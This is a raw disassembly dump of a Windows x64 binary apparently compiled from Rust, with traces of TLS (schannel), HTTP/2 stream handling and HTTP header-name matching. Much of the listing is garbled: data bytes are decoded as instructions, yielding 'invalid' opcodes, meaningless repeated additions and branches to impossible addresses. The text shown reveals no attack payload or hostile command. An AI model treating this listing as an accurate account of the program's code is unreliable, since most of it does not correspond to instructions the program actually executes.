str word [rbp + rcx*4 + 5]
sub dword [rsi + 0x27ba000f], esi
add byte [rax], al
add al, ch
push rdi
in eax, dx
or eax, dword [rax]
lea r8, str.C:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.33_srclib.rs
mov rcx, rbx
mov rdx, r12
call fcn.140104810
in al, dx
or eax, dword [rax]
stc
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + riz*4], fs
or byte [rax - 0x77], cl
and al, 0x68
and al, 0x30
cmp edi, ebx
mov byte [rsp + 0xa], cl
and al, 0xa
push rsp
sgdt [rcx - 0x80]
loopne 0x140045fc4
and al, 0x60
add byte [rax], al
add byte [rax], al
invalid
invalid
cli
add byte [rdi], cl
xchg dword [rax], esi
adc dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xdc582
invalid
out 0x4c, eax
sub edi, esi
sub byte [rax], al
add byte [rbp + 0xf], al
mov bh, 0xc0
add dword [rcx - 0x43], eax
add al, byte [rax]
add byte [rax], al
add cl, ch
retf 0x33
add byte [rcx - 0x7f], al
clc
add ah, bl
add byte [rax], al
adc al, byte [rcx - 0x80]
leave
invalid
and al, 0x3f
stc
xor ecx, dword [rax - 0x77]
sal dword [rdx - 0x26], 1
invalid
fimul dword [rax - 0x75]
and al, 0x20
add byte [rax - 0x77], cl
xor cl, ch
invalid
add al, byte [rax]
add byte [rsi + 3], ah
push rsp
add al, 0xf
mov bh, 0xf2
inc byte [rax]
or byte [rax], al
add byte [rdi], cl
sbb dword [rax], 1
add byte [rax], al
invalid
mov edi, dword [rsp + 0x100]
add byte [rax], al
add dword [rcx - 0x43], eax
add eax, dword [rax]
add byte [rax], al
invalid
movzx edx, ax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
xor byte [rcx - 0x77], cl
cli
invalid
loopne 0x14004acb4
mov edi, dword [rsp + 0x100]
call 0x14c43d080
add byte [rcx - 0x78], 0x47
add dword [rax - 0x357fc01e], eax
invalid
invalid
invalid
and al, 0x30
xor byte [rcx - 0x77], cl
cli
add cl, ch
invalid
int1
invalid
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
add byte [rcx], al
add byte [rax], al
loope 0x14004ad1c
and al, 0x30
jl 0x14004ad25
add byte [rax], al
invalid
mov esi, dword [rcx + 0x20]
mov rdi, qword [r9 + 0x28]
mov rcx, rsi
mov rdx, rdi
call fcn.140038b70
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14004bb52
test byte [rbx + 0x34], 4
jne 0x14004bb66
mov r14, qword [rsp + 0x28]
mov r15, qword [rsp + 0x30]
mov edi, dword [rsp + 0x30]
mov edi, dword [rsp + 0x30]
mov ebx, 1
xor eax, eax
mov r12d, 1
test esi, esi
invalid
pop rax
sal dword [rax - 0x1976b2ff], 0x4d
mov edi, ebp
add eax, 0x15e77a
cmp rax, 2
jne 0x14004bc70
ror dword [rax - 0x77], cl
ror dword [rax - 0x77], 0xf2
call fcn.140105008
jmp 0x14004bc3c
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
cld
xlatb
or eax, dword [rax]
adc byte [rbp + rcx*4 + 0x44], cl
and al, 0x60
lea edx, [0x140141670]
mov dword [rsp + 0x40], 3
invalid
invalid
lea ecx, [0x140141640]
invalid
jmp fcn.14003f880
or eax, 0x15e215
add byte [rax], al
sbb rax, 0x205e8948
sub byte [rax + rcx*4 + 0x56], al
test al, 0x20
jne case.0x14004397c.97
and al, 0xff
dec dword [rdi]
movzx ecx, word [rcx]
mov ecx, dword [rcx]
jmp 0x1400ccfb8
invalid
add byte [rsi + 0x57], dl
in al, dx
and byte [rax - 0x7b], cl
invalid
sal byte [rsp + rsi + 0x48], cl
xor al, 0x48
mov esi, edx
iretd
mov ebx, dword [sym.imp.kernel32.dll_HeapFree]
loopne case.0x1400578e6.341
test eax, eax
cmpsd dword [rsi], dword [rdi]
add esp, 0x20
add eax, 0xfffffffb
sar bl, 0x49
cmp eax, 5
invalid
add eax, 0x2b8
add byte [rdi + rcx + 0x43], cl
cmovae r8, rax
invalid
invalid
invalid
invalid
or eax, 0x153118
invalid
add eax, ecx
or byte [rax - 0x73], cl
and al, 0x20
and al, 0x30
lea eax, [0x1400ccf86]
fmul dword [rdi + 0xf]
add cl, ch
sbb byte [r13 + rcx*4 + 0x4c], cl
or byte [r8 - 0x73], cl
and al, 0x20
invalid
and byte [rdi], cl
push rsp
mov dword [rdx + 0x10], ecx
idiv bh
str word [r13 + r9*4 + 0x44]
add byte [rax - 0x77], cl
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x38
add byte [rax], al
lea edx, [rcx - 0x41]
invalid
cmp dl, 0xa
jae 0x14004c969
add r9b, 4
mov r10d, r9d
mov esi, 0x165e9
add byte [rbp + 0xf], al
mov dh, 0xc9
movzx r9d, r9b
mov r10b, 0x3e
cmp r9d, 0x2b
je 0x14004c951
cmp r9d, 0x2f
jne 0x14004caec
add dword [rax], eax
invalid
mov r10b, 0x3f
mov dl, 0x3f
jmp 0x14004c951
mov eax, 8
add byte [rax], al
invalid
add byte [rdx + 0x48392444], cl
lea ecx, [rsp + 0x37]
mov dword [rsp + 0x48], eax
lea rax, [rsp + 0x38]
lea r9, [0x1401427c8]
mov rcx, r8
mov r8, rax
jmp r10
mov eax, ecx
mov r10, qword [r9 + 0x58]
lea r9, [0x140141b08]
mov rcx, r8
mov r8, rax
jmp r10
jmp rdx
loop 0x14004fc27
mov eax, ecx
mov r10, qword [r9 + 0x58]
lea r9, [0x140142808]
sub al, 0xf
add byte [rcx + rcx*4 - 0x3f], cl
mov ecx, eax
sub al, 0xf
add byte [rcx + rcx*4 - 0x3f], cl
mov ecx, eax
mov ecx, eax
mov r8, rax
mov eax, eax
jmp r10
insd dword [rdi], dx
outsd dx, dword [rsi]
jae 0x14004fc4d
xor eax, ecx
movabs r9, 0x646f72616e646f6d
xor r9, rdx
movabs r10, 0x6c7967656e657261
outsb dx, byte [rsi]
jns 0x14004fc8a
outsb dx, byte [rsi]
jns 0x14004fc8a
xor r10, rcx
movabs r11, 0x7465646279746573
xor r11, rdx
xor ebx, edx
invalid
xor ebx, edx
lea rsi, [rsp + 0x28]
adc byte [rcx + r9*4 + 0x5e], r9b
sbb byte [rax - 0x77], cl
and byte [rax - 0x77], r9b
push rsi
sub byte [rdi], cl
push rdi
ror byte [rdi], 0x11
xor byte [rax - 0x39], r9b
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
rol ecx, 0xd
rol edx, 0x10
ror byte [rax - 0x3f], 1
ret 0x4c10
add r8, r9
and r8, rcx
movdqu xmm0, xmmword [rax + r8]
pmovmskb edx, xmm0
add r9, 0x10
test edx, edx
je 0x14004fe63
bsf edx, edx
add rdx, r8
and rdx, rcx
mov bpl, byte [rax + rdx]
test bpl, bpl
test ch, ch
test ch, ch
js 0x14004fea5
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
or edx, 0x10000
bsf edx, edx
movzx edx, dx
outsd dx, dword [rsi]
add byte [rsi + 0xf], ah
xlatb
rol byte [rcx + 0x10000ca], 1
add byte [rdi], cl
mov esp, 0xd2b70fd2
mov bpl, byte [rax + rdx]
adc byte [rbx + rcx*4 + 0x7e], cl
adc byte [rax - 0x80], al
and ch, 1
mov r15, qword [rsi + 0x10]
jle 0x14004feb9
and bpl, 1
and ch, 1
cmp qword [rsi + 0x28], 0
sub byte [rax], al
jne 0x14004febd
test bpl, bpl
test ch, ch
jne 0x14004ffd3
invalid
mov dh, 0xc5
outsb dx, byte [rsi]
sub byte [rbp - 0x77], cl
invalid
call 0x18a924b0f
invalid
and ecx, ecx
adc byte [rsi - 0x78], al
mov byte [rax + rcx + 0x10], al
or byte [rax], r10b
xor byte [rax - 1], cl
ror dword [rax - 0x77], 0x4e
xor byte [rax - 0x3f], cl
xor byte [rax - 0x3f], r9b
loop 0x14004fef5
add ecx, dword [rax - 9]
fimul dword [rcx + rcx*4 + 0x7c]
adc al, bh
clc
mov eax, dword [rsi]
xchg byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
sub ecx, ebp
jmp 0x1414e7193
add ebp, ebp
invalid
or byte [rax - 0x77], r9b
and al, 0x40
invalid
mov rdx, qword [rsi + 8]
lea rcx, [rsi + 0x18]
sbb byte [rbp - 0x77], r9b
clc
mov eax, dword [rdi + 8]
add dword [rax], eax
add byte [rax - 0x75], cl
and byte [rax - 0x77], r9b
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rax - 0x7d], cl
clc
add dh, byte [rsp + rax*2 + 0x48]
lea rdx, [rsp + 0x108]
or byte [rcx], al
add byte [rax], al
and eax, 0xfffffff0
adc byte [r8 - 0x77], r9b
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax + 0x44894801], dh
and al, 0x30
xchg dword [rax], ebp
add al, byte [rax]
add byte [rcx + 0xf3024d0], cl
test byte [0x14f050930], dh
mov dh, 0xc0
cli
and byte [rax + 0xa], bh
sub byte [rbp + rcx*4 + 0x61], cl
sub al, 0x4c
cmp eax, ebp
add byte [rax], al
invalid
and al, 0x40
mov r8, qword [rsp + 0x50]
mov es, word [rbx]
add byte [rax], al
push rcx
and byte [rdi], cl
adc byte [rcx + 0x2f], bl
invalid
mov dword [r10 + 0x40], eax
ror byte [rax - 0x77], 0x44
and al, 0x30
mov eax, 0x48000000
lea ecx, [rsp + 0xc0]
add byte [rax], al
invalid
adc byte [rdx], al
mov dword [rax + 0x43], edx
add byte [rax], al
push rax
add dword [rax], eax
add byte [rax - 0x75], cl
mov ecx, dword [rsp + 0x38]
add dword [rax], eax
add byte [rcx + rcx*4 + 0x7b], cl
mov qword [rbx + 0x28], r15
invalid
invalid
test byte [rax + riz], ah
and al, 0x20
add ecx, dword [rax - 0x73]
add byte [rax], al
test byte [rdi + 0xf000000], cl
jo 0x140050cb3
add dword [rax], eax
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x180], cl
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x1a0], bl
and al, 0xa0
add dword [rax], eax
add byte [rax], al
add byte [rax], 0
dec dword [rax - 0x75]
add ebp, dword [rsp + 0xa0]
mov edx, dword [rsp + 0x38]
adc byte [rax - 0x75], cl
jle case.0x14004cc47.150
add byte [rax - 0x75], cl
lea esi, [rsp + 0x1c0]
cli
or al, 0x75
adc bh, bh
add eax, 0xf1683
adc al, 0
add byte [rcx - 0x48], al
add byte [rax], al
add cl, ch
jnp 0x1400515fc
add byte [rax], al
add byte [rdi], cl
and al, 0x3b
mov ch, 0
add byte [rax], al
add dword [rax], eax
add byte [rbx + rcx*4 + 0x42], cl
invalid
mov word [rdi + rbp*2], fs
add dword [rax], eax
add cl, ch
invalid
lea esi, [rsp + 0x50]
mov edx, ebx
adc dword [rsp + 0xd9], eax
jb case.0x1400255da.615
test dword [rdx + 7], eax
add byte [rax], al
test dword [rax], edi
invalid
test dword [rsi], ebp
invalid
and al, 0xe0
and al, 0x10
add dword [rax], eax
add byte [rcx + rcx*4 - 0xf], cl
int1
invalid
invalid
sbb byte [rcx], al
add byte [rax], al
mov dword [rsi + 0x18], ecx
mov bpl, 1
mov sil, byte [rsp + 0x2a]
jmp 0x1400558aa
add byte [rax], al
add byte [rax], al
mov eax, 1
mov rcx, qword [rsp + 0x38]
mov dword [rcx + 8], eax
mov edx, dword [rsp + 0x34]
and al, 0x34
and al, 0x34
mov dword [rcx + 0xc], edx
mov dword [rcx + 0x10], eax
mov qword [rcx], 3
mov r14b, 1
mov bpl, 1
jmp 0x1400558aa
mov cl, byte [rsp + 0x60]
cmp cl, 3
je 0x1400558bd
mov rdx, qword [rsp + 0x68]
call fcn.14005e770
mov rax, qword [rsp + 0x70]
test rax, rax
je 0x1400558da
lea rcx, [rsp + 0x88]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
call qword [rax + 0x18]
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x1400558fa
lea rcx, [rsp + 0xa8]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
call qword [rax + 0x18]
test dil, dil
setne r13b
cmp dword [rsp + 0x278], 3
je 0x140055918
lea rcx, [rsp + 0x278]
call fcn.14004ebb3
jmp 0x13fd1cb4d
add eax, 0xd4058d4c
fisttp word [rdi]
add byte [rcx - 0x47], al
mov ecx, 8
add byte [rax], al
add byte [rax - 0x77], cl
int1
invalid
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0xf0], eax
sbb byte [rax - 0x77], cl
invalid
add byte [rax], al
add byte [rax - 0x77], cl
stc
sbb al, 0
add byte [rdx + 5], bh
test byte [rsp + rbp*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
enter 0xffffffffffff8948, 0xffffffffffffff8c
and al, 0xe0
add al, byte [rax]
add byte [rax - 0x7d], cl
stc
add eax, 0x246c8b4c
invalid
invalid
add byte [rax], al
push rcx
invalid
add byte [rax], al
test byte [rax + riz], ah
mov ecx, dword [rcx + 8]
cmp ecx, 5
add byte [rdi + 0x63], cl
add al, 0x81
invalid
mov ecx, dword [rsp + 0x78]
and al, 0x50
and al, 0x58
and al, 0x48
or byte [rcx], al
add byte [rax], al
invalid
mov ecx, dword [rsp + 0x68]
add byte [rax], al
add byte [rdi + rcx + 0x43], cl
sal dword [r9 + 0xd8d4c06], 0x8e
lea ecx, [0x14019fc4c]
add byte [rax], al
push rax
invalid
ror byte [rax + 9], 1
mov ecx, dword [rdi]
cwde
mov ecx, dword [rsp + 0x78]
lodsb al, byte [rsi]
cmp byte [rcx], al
add byte [rax], al
invalid
mov ecx, dword [rsp + 0xe4]
out dx, eax
add byte [rax - 0x75], cl
mov byte [rax], 0xf
js 0x140058528
test byte [rax + riz*2], ah
add al, byte [rax]
add byte [rcx + rax - 0x18], cl
add byte [rax], al
and al, 0x90
add byte [rax], al
add byte [rcx + rcx*4 - 0x64], cl
and al, 0x10
add dword [rax], eax
add al, ch
ret 0xaaf
scasd eax, dword [rdi]
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
int1
pushfq
and al, 0x60
add dword [rax], eax
add cl, ch
sub bh, ch
add byte [rax], al
add byte [rax - 0x39], cl
add byte [0xc3058ba1], al
add eax, 0x83000000
add eax, 0x83000000
mov esp, 0x39024
and al, 0x90
add eax, dword [rax]
add byte [0xcd4d9920], al
mov word [rax + rdx*4], fs
add eax, dword [rax]
add byte [rax], al
call 0x140059260
lea rsi, [rsp + 0x2b0]
add al, byte [rax]
add byte [rax - 0x77], cl
int1
or byte [rdx + 4], dh
mov word [rax + rsi*2], fs
add dword [rax], eax
sar dh, 1
invalid
xchg edi, eax
add eax, 0xfb36f
or al, byte [rax]
test ebx, ebx
call 0x1305d18a7
clc
invalid
shl esi, 8
cmp ebp, 0x19
xor ecx, dword [rax - 0x7b]
fisttp dword [rdi]
test byte [rsi], bl
add dword [rax], eax
add byte [rax - 0x39], cl
sar bh, 0xff
invalid
invalid
invalid
mov eax, 1
jg case.0x1400255da.790
cmp byte [rax - 0x75], cl
and al, 0x38
ret 1
sub al, 8
mov eax, 1
mov dword [rax], 0
and al, 0x30
or byte [rax], al
add byte [rax], al
sti
invalid
and al, 0x28
add byte [rax], 0
add byte [rdx + 0x38], dh
lea edi, [rsp + 0x28]
invalid
invalid
add byte [rax], al
or byte [rax - 9], cl
ror byte [rax - 0x75], 1
or byte [r8 + 0x39], r9b
enter 0xf48, 0x43
ror dword [r9 + r15 - 8], 0x73
ror dword [r9 + r15 - 8], 0x73
adc esi, dword [rax - 0x3b7cb7ff]
pop rbx
pop rbx
ret 0x5ce8
sub ecx, ebx
invalid
and al, 0x38
adc edi, 0
mov edx, dword [rax + 8]
or al, 0x40
invalid
lea eax, [0x140142e78]
add eax, 0xe9144
add byte [rax], al
add al, ch
sbb dword [rbx - 0x72b3fff6], ebp
add eax, 0xe9182
invalid
add al, ch
sti
ror byte [rdx], 0
sal byte [rdx + rbx + 0x49], cl
mov ecx, edx
cmp rdx, 8
ja 0x140059d65
dec r9
dec ecx
inc rcx
mov rax, rcx
mov rdx, r9
add rsp, 0x28
invalid
sub bl, al
invalid
add byte [rax], al
xor edx, edx
call fcn.140104ad0
lea r8, [0x140142e18]
mov edx, 8
mov rcx, r9
call fcn.140104890
stosd dword [rdi], eax
or al, byte [rax]
nop
invalid
stosd dword [rdi], eax
or al, byte [rax]
int3
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rdi, rdx
xlatb
xlatb
mov rsi, rcx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, [0x14016c654]
lea edx, [0x14016c654]
lea edx, [0x14016c654]
mov r8d, 7
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x73], cl
pop rsp
and al, 0x30
push rax
sbb byte [rax - 0x73], cl
pop rsp
and al, 0x30
mov qword [rbx], rdi
mov dword [rbx], edi
mov byte [rbx + 8], al
mov byte [rbx + 9], 0
lea r9, [rsi + 0xf0]
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfaefc
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfaefc
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, str.stream_id
mov r8d, 9
add byte [rax], al
add byte [rax], al
mov rcx, rbx
call fcn.14003cdd0
lea r9, [rsi + 0xf4]
hlt
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfb06c
mov qword [rsp + 0x20], rax
and al, 0x20
hlt
and al, 0x20
lea rdx, str.flags
mov r8d, 5
add byte [rax], al
add byte [rax - 0x77], cl
fld1
shr byte [rdi], cl
invalid
inc dword [rax + 0xedbe]
in eax, dx
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x77], cl
fld1
shr byte [rdi], cl
invalid
in eax, dx
add byte [rax], al
add byte [rdx], al
je case.0x1400255da.801
add rsi, 0xe8
lea rax, [0x140154e80]
add byte [rax - 0x73], cl
add eax, 0xfb06b
mov qword [rsp + 0x20], rax
lea rdx, str.stream_dep
lea rcx, [rsp + 0x30]
mov r8d, 0xa
mov eax, 0xa
mov eax, 0xa
mov r9, rsi
call fcn.14003cdd0
lea rcx, [rsp + 0x30]
call fcn.14003f050
nop
add rsp, 0x40
invalid
pop rbx
pop rdi
pop rsi
ret
invalid
mov r9, rcx
add rcx, 4
lea rdx, [r9 + 5]
lea r8, [rsp + 0x60]
and al, 0x60
and al, 0x60
mov qword [r8], rdx
lea rdx, [0x1401564b0]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x48], r8
lea rdx, [0x14016e94b]
ror byte [rdx + 0x11], cl
add byte [rax - 0x77], cl
push rsp
and al, 0x40
ror byte [rdx + 0x11], cl
add byte [rax - 0x77], cl
push rsp
and al, 0x40
lea rdx, [0x140156490]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rcx
invalid
lea rcx, [0x14016e945]
mov qword [rsp + 0x28], rcx
lea rcx, [0x140154cb8]
lea ecx, [0x140154cb8]
lea ecx, [0x140154cb8]
mov qword [rsp + 0x20], rcx
lea rdx, str.StreamDependencydependency_idweightis_exclusiveC:UsersAdmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsSender
adc eax, 0x114a7a
adc eax, 0x114a7a
lea r8, [0x14016e938]
mov rcx, rax
mov ecx, eax
mov ecx, eax
call fcn.14003f590
nop
add rsp, 0x68
ret
mov eax, dword [rdx + 0x34]
test al, 0x10
jne 0x140041c50
test al, 0x20
jne 0x140059ed7
jmp 0x14003de60
mov cl, byte [rcx]
jmp 0x1400411f0
push rbx
scasd eax, dword [rdi]
sldt word [rcx - 0x48]
or eax, dword [rax]
add byte [rax], al
lea eax, [0x140154eb0]
adc eax, 0x1146fb
stc
ret 0xfe50
push rsi
push rbx
sub rsp, 0x38
mov bl, byte [rcx]
lea rsi, [rsp + 0x28]
je 0x140059fc7
invalid
mov rcx, rsi
inc dword [rax - 0x143ff71d]
add ecx, dword [rbp + rcx*4 + 5]
add byte [rcx - 0x47], al
clc
xchg esp, eax
invalid
mov eax, dword [rsp + 0x28]
lea edx, [0x14019e382]
push rax
sbb byte [rax + 0x38c48348], dl
nop
add rsp, 0x38
invalid
invalid
mov dh, 0x3a
mov edx, dword [rax + 8]
add eax, 0x14372b
and al, 0x38
invalid
clc
movabs dword [0x3089493024448d4c], eax
lea ecx, str.called__Result::unwrap____on_an__Err__value
cmpxchg qword [rdx + 0x10], r8
and al, 0x38
fisttp qword [rdi]
add bl, al
ret
add bl, al
jmp 0x14005ab10
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
sbb byte [rax - 0x77], cl
ret 0x8348
invalid
sub byte [rcx - 1], cl
invalid
sbb byte [rax - 0x77], cl
rol byte [rax + 0x48], 0x83
invalid
sub cl, byte [rax]
adc al, 0x42
movabs rdx, 0x5c3404e687f26611
ret
ret
jg 0x14005aca7
xchg ebx, eax
sub dh, cl
xor dword [rax + 0x3635ba48], 0xffffffd3
rcr dword [rsi + 0x261c7083], cl
or byte [rax - 0x77], cl
invalid
cmp edi, 1
sub byte [rax - 0x39], cl
and al, 0x30
add al, byte [rax]
add byte [rax], al
sub rsp, 0x28
mov rbx, qword [rcx + 8]
test rbx, rbx
test ebx, ebx
sub eax, 0xae5c9
mov ecx, dword [rdi + 0x20]
mov eax, dword [rax + 0x28]
in al, dx
and al, 0x20
add byte [rax - 1], cl
loopne 0x14005b2d4
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, rcx
mov bpl, 3
test r8, r8
je 0x14005dca3
invalid
mov rdi, r8
mov edi, eax
add byte [rax + 0x63], cl
add al, 0x81
movabs eax, dword [0x8948168948000029]
jle 0x14005b311
cmp esi, dword [rbx + 0xf]
test dword [rbp + 0x29], ebp
add byte [rax], al
cmp byte [rbx + 1], 0x65
jne 0x14005dc86
cmp byte [rbx + 2], 0x63
jne 0x14005dc86
add eax, 0x70850f6e
sub byte [rax], al
add byte [rax + 0xf74067b], al
test dword [rsi + 0x28], esp
sub byte [rax], al
invalid
insb byte [rdi], dx
add byte [rax], al
add byte [rax + 0xf69047b], al
jnp 0x14005b5c5
outsd dx, dword [rsi]
jnp 0x14005b5d0
or dh, byte [rdi + rcx - 0x7b]
scasb al, byte [rdi]
add byte es:[rax], al
jb case.0x140050337.416
test dword [rsi - 0x7fffffdb], edx
jnp 0x14005b6fc
invalid
or ch, byte [rsi + 0xf]
and eax, 0x7b800000
or esi, dword [rbx + 0xf]
test ah, dh
and dword [rax], eax
add byte [rbx - 0x7af09008], al
invalid
add byte [rax + 0xf6f087b], al
test dword [rax], edx
and al, 0
add byte [rax + 0xf6e097b], al
add byte [rax], al
jnp 0x14005b9c5
invalid
add byte [rax + 0xf740c7b], al
test dword [rbp - 0x7fffffde], esp
jnp 0x14005b9f1
sub eax, 0x229b850f
add byte [rax], al
cmp byte [rbx + 0xe], 0x65
jne 0x14005dc86
xchg ecx, eax
and al, byte [rax]
add byte [rax + 0xf780f7b], al
jnp case.0x140057960.218
js 0x14005ba09
cmp byte [rbx + 0xf], 0x78
jne 0x14005dc86
xchg dword [rdx], esp
add byte [rax], al
and dword [rax], eax
add byte [rax + 0xf760e7b], al
test dword [rax], ecx
and dword [rax], eax
add byte [rax + 0xf650f7b], al
jnp 0x14005bb90
jne 0x14005dc86
cmp byte [rbx + 0x10], 0x72
invalid
and byte [rax], al
add byte [rax + 0xf6e057b], al
test dword [rcx + 0x20], edx
add byte [rax], al
outsb dx, byte [rsi]
add byte [rax + 0xf72077b], al
test esi, edx
adc al, byte [rax]
add byte [rax + 0xf2d087b], al
test esp, ecx
adc al, byte [rax]
add byte [rax + 0xf65097b], al
test edx, eax
adc al, byte [rax]
add byte [rax + 0xf6e0a7b], al
test dword [rax - 0x7fffffee], edi
jnp 0x14005c9dc
invalid
jne 0x14005dc86
add byte [rax], al
cmp byte [rbx + 0xd], 0x64
jne 0x14005dc86
cmp byte [rbx + 0xe], 0x69
jne 0x14005dc86
cmp byte [rbx + 0xf], 0x6e
jne 0x14005dc86
mov al, 0x45
mov cl, 0x67
jmp 0x14005d6b1
add byte [rax + 0xf2d037b], al
test dword [rax + rdx], edi
add byte [rax], al
test dword [rax], ebp
adc byte [rax], al
add byte [rax - 0x169c4ef1], dh
stc
invalid
add ah, byte [rdi + 0xf]
test eax, edx
adc dword [rax], eax
add byte [rax + 0xf72037b], al
test esi, eax
adc dword [rax], eax
add byte [rax + 0xf61047b], al
test dword [rcx + rdx + 0x7b800000], edi
add byte [rax], al
cmp byte [rbx + 5], 0x64
jne 0x14005dc86
cmp byte [rbx + 6], 0x65
jne 0x14005dc86
invalid
jnp 0x14005cae8
add byte [rax], al
cmp byte [rbx + 5], 0x64
jne 0x14005dc86
cmp byte [rbx + 6], 0x65
jne 0x14005dc86
cmp byte [rbx + 7], 0x2d
jne 0x14005dc86
sub eax, 0x119e850f
add byte [rax], al
cmp byte [rbx + 8], 0x69
jne 0x14005dc86
cmp byte [rbx + 9], 0x6e
jne 0x14005dc86
cmp byte [rbx + 0xa], 0x73
jne 0x14005dc86
cmp byte [rbx + 0xb], 0x65
jne 0x14005dc86
cmp byte [rbx + 0xc], 0x63
jne 0x14005dc86
cmp byte [rbx + 0xd], 0x75
jne 0x14005dc86
cmp byte [rbx + 0xe], 0x72
jne 0x14005dc86
cmp byte [rbx + 0xf], 0x65
jne 0x14005dc86
cmp byte [rbx + 0x10], 0x2d
jne 0x14005dc86
cmp byte [rbx + 0x11], 0x72
jne 0x14005dc86
cmp byte [rbx + 0x12], 0x65
jne 0x14005dc86
cmp byte [rbx + 0x13], 0x71
jne 0x14005dc86
cmp byte [rbx + 0x14], 0x75
jne 0x14005dc86
cmp byte [rbx + 0x15], 0x65
jne 0x14005dc86
cmp byte [rbx + 0x16], 0x73
jne 0x14005dc86
cmp byte [rbx + 0x17], 0x74
jne 0x14005dc86
mov al, 0x48
mov cl, 0x73
jne 0x14005dc86
cmp byte [rbx + 0xb], 0x70
jne 0x14005dc86
cmp byte [rbx + 0xc], 0x69
jne 0x14005dc86
cmp byte [rbx + 0xd], 0x6e
jne 0x14005dc86
cmp byte [rbx + 0xe], 0x73
jne 0x14005dc86
cmp byte [rbx + 0xf], 0x2d
jne 0x14005dc86
cmp byte [rbx + 0x10], 0x72
jne 0x14005dc86
cmp byte [rbx + 0x11], 0x65
jne 0x14005dc86
cmp byte [rbx + 0x12], 0x70
jne 0x14005dc86
cmp byte [rbx + 0x13], 0x6f
jne 0x14005dc86
cmp byte [rbx + 0x14], 0x72
jne 0x14005dc86
cmp byte [rbx + 0x15], 0x74
jne 0x14005dc86
cmp byte [rbx + 0x16], 0x2d
jne 0x14005dc86
cmp byte [rbx + 0x17], 0x6f
jne 0x14005dc86
cmp byte [rbx + 0x18], 0x6e
jne 0x14005dc86
cmp byte [rbx + 0x19], 0x6c
jne 0x14005dc86
mov al, 0x35
mov cl, 0x79
add byte [rax], al
add cl, ch
sbb dword [0x1bb85cd91], ecx
add dword [rdi + 0xf], ebp
test dword [rax], ebp
or eax, 0x7b800000
add ah, byte [rbx + 0xf]
test dword [rsi], ebx
or eax, 0x7b800000
add esp, dword [rcx + 0xf]
test dword [rcx + 0x7b800000], edx
add al, 0x74
jne case.0x140057c74.250
cmp byte [rbx + 5], 0x69
jne case.0x140057c74.250
cmp byte [rbx + 6], 0x6f
jne case.0x140057c74.250
mov al, 0x2e
mov cl, 0x6e
test dword [rcx], esi
invalid
jne 0x14005dc86
cmp byte [rbx + 0xb], 0x69
jne 0x14005dc86
cmp byte [rbx + 0xc], 0x63
jne 0x14005dc86
cmp byte [rbx + 0xd], 0x61
jne 0x14005dc86
cmp byte [rbx + 0xe], 0x74
jne 0x14005dc86
mov al, 0x4c
jle 0x14005cf13
add byte [rax], al
jnp case.0x140045224.595
je 0x14005cf26
test dword [rdx + 0xd], ebp
add byte [rax], al
cmp byte [rbx + 0xa], 0x65
or ah, byte [rbp + 0xf]
test dword [rax + 0xd], esp
add byte [rax], al
or ah, byte [rbp + 0xf]
test dword [rax + 0xd], esp
add byte [rax], al
cmp byte [rbx + 0xb], 0x63
jne 0x14005dc86
cmp byte [rbx + 0xc], 0x74
jne 0x14005dc86
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 0xd], 0x69
jne 0x14005dc86
cmp byte [rbx + 0xe], 0x6f
jne 0x14005dc86
mov al, 0x50
add byte [rax + 0xf740f7b], al
je 0x14005d166
test dword [rdx], ebp
or eax, dword [rax]
add byte [rax + 0xf69107b], al
test dword [rax], esp
or eax, dword [rax]
add byte [rax + 0xf6f117b], al
test dword [rsi], edx
or eax, dword [rax]
add byte [rax - 0x45914ecd], dh
adc al, byte [rax]
jnp 0x14005d18d
invalid
test esp, esi
or al, byte [rax]
cwde
add eax, 0x7b800000
add eax, 0x8e850f6e
jne case.0x140057c74.250
invalid
invalid
invalid
push 0x52be9
add byte [rax + 0xf64017b], al
jne 0x14005dc86
jne 0x14005dc86
add byte [rax], al
invalid
invalid
jnp 0x14005d5be
push 0x6c8850f
add byte [rax], al
jne 0x14005dc86
mov esi, 0x80000006
jnp 0x14005d5df
invalid
add byte [rax + 0xf720e7b], al
test dword [rdx - 0x7ffffffa], eax
jnp case.0x140073778.149
add byte [rax + 0xf2d037b], al
invalid
add byte [rax], al
or al, 0x74
jnp 0x14005d9ec
invalid
jnp 0x14005d9f7
je 0x14005d9ff
or dh, byte [rbp + 0xf]
add byte [rax], al
add byte [rax + 0xf63027b], al
test dword [rdx - 0x80000000], ebp
stosb byte [rdi], al
add byte [rax], al
invalid
